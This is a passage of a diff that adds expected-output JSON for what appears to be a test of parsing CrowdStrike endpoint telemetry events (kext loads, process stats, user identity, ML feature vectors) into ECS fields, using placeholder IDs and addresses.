"ffffffffa15a452190ae454f7d33e07e", + "os": { + "type": "macos" + } + }, + "message": "ConfigStateUpdate", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffa15a452190ae454f7d33e07e", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:09.069Z", + "crowdstrike": { + "BundleID": "com.apple.driver.AudioAUUC", + "ConfigStateHash": "1620585913", + "ContextProcessId": "364867547408058681", + "ContextTimeStamp": "2021-07-07T17:05:09.064Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-a2ae-028f6bf89be7", + "name": "KextLoadMacV1" + }, + "device": { + "id": "ffffffffaa0e47a1b009aef151d6179d" + }, + "event": { + "action": "load", + "category": [ + "driver" + ], + "created": "2021-07-07T17:05:09.069Z", + "id": "ffffffff-1111-11eb-a2ae-028f6bf89be7|ffffffffaa0e47a1b009aef151d6179d|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"KextLoad\",\"ContextTimeStamp\":\"1625677509.064\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364867547408058681\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"BundleID\":\"com.apple.driver.AudioAUUC\",\"Entitlements\":\"15\",\"name\":\"KextLoadMacV1\",\"id\":\"ffffffff-1111-11eb-a2ae-028f6bf89be7\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffaa0e47a1b009aef151d6179d\",\"timestamp\":\"1625677509069\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffffaa0e47a1b009aef151d6179d", + "os": { + "type": "macos" + } + }, + "message": "KextLoad", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffaa0e47a1b009aef151d6179d", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364867547408058681", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:07.901Z", + "crowdstrike": { + "ChannelId": "20", + "ChannelVersion": "25", + "ChannelVersionRequired": "0", + "ConfigStateHash": "3155796140", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b411-06baeacb7a63", + "name": "ChannelVersionRequiredLinV1" + }, + "device": { + "id": "ffffffff67d54f7daf3d998ffc74d48e" + }, + "event": { + "action": "ChannelVersionRequired", + "created": "2021-07-07T17:05:07.901Z", + "id": "ffffffff-1111-11eb-b411-06baeacb7a63|ffffffff67d54f7daf3d998ffc74d48e|ffffffff15754bcfb5f9152ec7ac90ac", + "original": "{\"ChannelVersion\":\"25\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"3155796140\",\"aip\":\"67.43.156.14\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"20\",\"ConfigBuild\":\"1007.8.0011110.1\",\"event_platform\":\"Lin\",\"name\":\"ChannelVersionRequiredLinV1\",\"id\":\"ffffffff-1111-11eb-b411-06baeacb7a63\",\"aid\":\"ffffffff67d54f7daf3d998ffc74d48e\",\"timestamp\":\"1625677507901\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" + }, + "host": { + "id": "ffffffff67d54f7daf3d998ffc74d48e", + "os": { + "type": "linux" + } + }, + "message": "ChannelVersionRequired", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff67d54f7daf3d998ffc74d48e", + "version": "1007.8.0011110.1" + }, + "related": { + "hash": [ + "3155796140" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:11.754Z", + "crowdstrike": { + "BoundedCount": 57, + "ConfigStateHash": "2037712541", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "ProcessCount": 60, + "SHA256HashData": "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20", + "SuppressType": "3", + "Timeout": 60, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b34e-063f4cefccb3", + "name": "ProcessRollup2StatsLinV3" + }, + "device": { + "id": "ffffffffe22549479fbe8293b6747a68" + }, + "event": { + "action": "ProcessRollup2Stats", + "category": [ + "process" + ], + "created": "2021-07-07T17:05:11.754Z", + "id": "ffffffff-1111-11eb-b34e-063f4cefccb3|ffffffffe22549479fbe8293b6747a68|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"2037712541\",\"Timeout\":\"60\",\"ParentProcessId\":\"0\",\"aip\":\"67.43.156.14\",\"SuppressType\":\"3\",\"SHA256HashData\":\"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20\",\"ProcessCount\":\"60\",\"BoundedCount\":\"57\",\"ConfigBuild\":\"1007.8.0011308.1\",\"UID\":\"115\",\"event_platform\":\"Lin\",\"CommandLine\":\"sh -c \\\"/usr/lib/erlang/erts-11.1.3/bin/epmd\\\" -daemon\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2StatsLinV3\",\"id\":\"ffffffff-1111-11eb-b34e-063f4cefccb3\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffe22549479fbe8293b6747a68\",\"timestamp\":\"1625677511754\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffffe22549479fbe8293b6747a68", + "os": { + "type": "linux" + } + }, + "message": "ProcessRollup2Stats", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffe22549479fbe8293b6747a68", + "version": "1007.8.0011308.1" + }, + "process": { + "args": [ + "sh", + "-c", + "/usr/lib/erlang/erts-11.1.3/bin/epmd", + "-daemon" + ], + "args_count": 4, + "command_line": "sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon", + "hash": { + "sha256": "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20" + }, + "parent": { + "entity_id": "0" + } + }, + "related": { + "hash": [ + "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20", + "2037712541" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "115" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "115" + } + }, + { + "@timestamp": "2021-07-07T17:04:38.122Z", + "crowdstrike": { + "AuthenticationId": "265", + "AuthenticationUuid": "FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109", + "AuthenticationUuidAsString": "FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109", + "ConfigStateHash": "3967242894", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "LoginSessionId": "1138166333440", + "UserSid": "S-1-5-21-3852557355-3178143607-2040168074-1530", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", + "name": "UserIdentityMacV4" + }, + "device": { + "id": "ffffffff44564c2f8d76394cb25c31ab" + }, + "event": { + "action": "UserIdentity", + "category": [ + "authentication", + "iam" + ], + "created": "2021-07-07T17:04:38.122Z", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"UserIdentity\",\"LoginSessionId\":\"1138166333440\",\"AuthenticationUuidAsString\":\"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109\",\"UserName\":\"user1\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"AuthenticationId\":\"265\",\"UserPrincipal\":\"user1@dom1\",\"UserSid\":\"S-1-5-21-3852557355-3178143607-2040168074-1530\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"265\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"UserIdentityMacV4\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"AuthenticationUuid\":\"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109\",\"timestamp\":\"1625677478122\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "info", + "user" + ] + }, + "host": { + "id": "ffffffff44564c2f8d76394cb25c31ab", + "os": { + "type": "macos" + } + }, + "message": "UserIdentity", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff44564c2f8d76394cb25c31ab", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3967242894" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user1", + "user1@dom1", + "265" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "dom1", + "email": "user1@dom1", + "full_name": "user1", + "id": "265", + "name": "user1" + } + }, + { + "@timestamp": "2021-07-07T17:04:49.052Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "EffectiveTransmissionClass": "1", + "Entitlements": "15", + "FXFileSize": "502032", + "FeatureExtractionVersion": "2", + "FeatureVector": "000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501", + "MLModelVersion": "4", + "Malicious": "0", + "ModelPrediction": "1436899696705536", + "PupAdwareConfidence": "0", + "PupAdwareDecisionValue": "12384657383358464", + "SHA256HashData": "c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b", + "name": "DeliverLocalFXToCloudMacV4" + }, + "device": { + "id": "ffffffff45d647e6ae0ba8764a4bd570" + }, + "event": { + "action": "DeliverLocalFXToCloud", + "created": "2021-07-07T17:04:49.052Z", + "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b|ffffffff45d647e6ae0ba8764a4bd570|ffffffff15754bcfb5f9152ec7ac90ac", + "original": "{\"FeatureVector\":\"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7